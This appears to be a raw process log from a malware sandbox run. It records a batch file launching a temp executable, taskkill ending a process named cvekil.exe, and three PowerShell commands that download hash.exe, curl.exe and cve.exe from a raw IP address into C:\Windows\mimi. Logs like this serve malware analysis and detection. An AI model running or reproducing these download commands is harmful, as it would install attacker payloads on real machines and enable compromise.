cmd.exe cmd /c ""C:\Users\test22\AppData\Local\Temp\C109.tmp\run.bat" "C:\Users\test22\AppData\Local\Temp\run.exe""
2160taskkill.exe "C:\Windows\System32\taskkill.exe" /f /IM cvekil.exe
2268powershell.exe powershell "(new-object System.Net.WebClient).DownloadFile('http://45.137.64.40/hash/hash.exe','C:\Windows\mimi\hash.exe')"
2376powershell.exe powershell "(new-object System.Net.WebClient).DownloadFile('http://45.137.64.40/hash/curl.exe','C:\Windows\mimi\curl.exe')"
2836powershell.exe powershell "(new-object System.Net.WebClient).DownloadFile('http://45.137.64.40/hash/cve.exe','C:\Windows\mimi\cve.exe')"
3000